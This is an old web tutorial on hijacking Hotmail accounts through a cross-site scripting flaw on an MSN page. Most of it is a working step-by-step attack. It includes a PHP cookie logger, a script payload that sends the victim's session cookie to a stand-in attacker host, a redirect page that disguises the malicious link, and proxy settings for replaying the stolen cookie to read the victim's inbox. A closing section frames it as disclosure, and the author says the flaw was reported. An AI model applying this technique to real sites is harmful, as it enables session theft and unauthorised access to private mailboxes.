Hacking hotmail, get hotmail passwords
|
Hacking hotmail, by Alex de Vries - 04 june 2005
Written by:"Alex de Vries" from Holland, known as "Eierkoek" on http://www.net-force.nl.
Who am I:I am a 20 year old programmer interested in (internet) security. I'm also a dedicated net-force user (this is an internet site about internet security).
June 5
Looks like MSN changed the exploitable page, so this exploit is not there anymore. But there is at least one other place known in MSN.com, where the same bug is still present.What is this document aboutIn this document I explain how to exploit a security hole I found in http://www.hotmail.com/. With this exploit you can access other people's mailboxes, view their contacts and much more. All that needs to be done is send this user an e-mail with a link/url to an internet-page you created. When this user clicks on this url, his inbox is all yours.I've tried to explain the situation as simple as possible, so that anyone can understand it.How does it workOne of the following things is needed to login into Hotmail:
When you know his/her e-mail address and password you can login with his username and password on http://www.hotmail.com/
When you know his/her account information like country and zip-code, and you are able to answer his/her secret question. In this case You can reset his/her password, and login just like option 1, with a new password.
The real HTML injection example with popup can be viewed at:
http://ilovemessenger.msn.com/?mkt=nl-nl');alert(document.cookie);escape('
With the text you can see in the "alert message-box" above, everybody with some knowledge is able to access my inbox. This text is send by my browser to hotmail every time I visit a site with the domain "msn.com". This method is used so hotmail knows I am still logged in. The text in the popup is called a "cookie". A trick used by attackers is to fake somebody else's cookie. I will explain one easy method, although there are different ways of doing it. I can fake cookies with a helper program called "Proxomitron". Proxomitron acts like a proxy server with the option to change, fake or block html headers. Cookie-text, like the text in the popup, is send by the browser invisibly in an html-header called "cookie". Because Proxomitron is able to fake headers, this program is very useful to me.I will explain later how proxomitron must be configured to fake cookies.How does the attacker get the cookie? Showing a popup to the user with his cookie information does not help the attacker. The attacker wants the text now shown in the popup-box. To log cookies the hacker needs to create a internet-page with PHP or ASP. This is to log some text to a log file on a webserver. I've created a simple PHP script that is able to log text to a log file. I've named this file "cookielogger.php" and its content looks like this:<?php
$filename = "logfile.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo "Error: Unable to write to the log file";
exit;
}
else
{
if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)
{
echo "Error while writing to log file";
exit;
}
}
echo "Successfully wrote a string to the log file";
fclose($handle);
exit;
}
echo "nothing to write to the log file";
exit;
?>
I uploaded this file to a webserver. As example I'll use the fake internet site http://www.hacker.com/. To test the PHP script I'll go to http://www.hacker.com/cookielogger.php?cookie=test. I can see the text "Successfully wrote a string to the log file". When I'm now browsing to http://www.hacker.com/logfile.txt I can see the text "test".
When I go to http://www.hacker.com/cookielogger.php?cookie=this text is being logged, the text "this text is being logged" will be appended to the log file: http://www.hacker.com/logfile.txt
<SCRIPT>location.href='http://www.hacker.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>
See the two printscreens below of the results with the cookielogger. Remember "www.hacker.com" is not really used, its just an example.The real HTML injection example to log the cookie is:http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://www.hacker.com/cookielogger.php?cookie='+escape(document.cookie);escape('
Okay, the exploit is ready to go. We could send the link above to the victim in the hope he clicks the link. But there aren't many people who go to a site like "ilovemessenger.msn.com". Also when the users sees something like "document.cookie" in the url he'll probably think twice before clicking it.When we create a new php page called "redirect.php" with the following content:<?php
header("Location: http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://www.hacker.com/cookielogger.php?cookie='+escape(document.cookie);escape('");
exit;
?>
When the victim clicks the text "click this link" the exploit will come in motion. In real life there are tons of methods of persuading the victim to click on a link. The hacker is patiently waiting for a new entry in the file http://www.hacker.com/logfile.txt. When the user finally clicks the link and the hacker notices extra text in the log file the fun can start. When the victim is fallen for your trick, the log file looks like this:
Now the hacker has stolen the cookie of the victim, the hacker can proceed in faking his cookie when entering hotmail. Somewhere at the start of this explanation I talked about "Proxomitron" to fake cookies. I will now explain how to make the settings to fake this cookie.
Proxomitron looks like this:Just place a 'v' before "Outgoing Header Filters" because that's what we want to do. We want to send the users cookie to the web server as it is or own cookie. Press the button "Headers" to create a new header to fake the cookie.
In the new window, fill in these values:
HTTP Header: "Cookie: a description"
URL Match: ""
Header Value Match: "*"
Replacement test: the users cookie
Apply the new header by putting a 'v' before the new header in the "Out" column and press apply to save the changes.
Proxomitron is now ready for faking the cookie. Now setting up your browser. You need to set your browser to use a proxy-server. It differs per browser how to make that setting.
In Internet Explorer: "Tools -> Internet Options... -> Connections -> LAN Settings -> Proxy server"
In Mozilla Firefox: "Tools -> General -> Connection Settings -> Manual proxy configuration"
http://by103fd.bay103.hotmail.msn.com/cgi-bin/hmhome?fti=yes
When successful you can now see the inbox of the victims mail box.Ethics and law
Nothing I did was illegal, but when you are hacking somebody else his inbox you are breaking the law. When this happens you can be prosecuted and go to jail. Don't let this happen to you!I published this document to let the world know about the security risk. By publishing this document Microsoft is forced to patch the hole immediately.
If I hadn't told Microsoft about this security hole (I mailed them), or if I wouldn't have found it, it is possible somebody else would have found it. If this guy would have been a 'black-hat-hacker' he and his friends would surely have used this security hole to hack a lot of mail-boxes.
A final word
Security holes have been found in Hotmail multiple times in the past. After putting this tutorial online, I found out that Microsoft had a similar bug three years ago, found by N|ghtHawk (a fellow Net-Force member). I hope that after this time MSN will be more careful with it's security, because small exploits can have great consequences.
http://www.net-force.nl/files/articles/hotmail_xss/





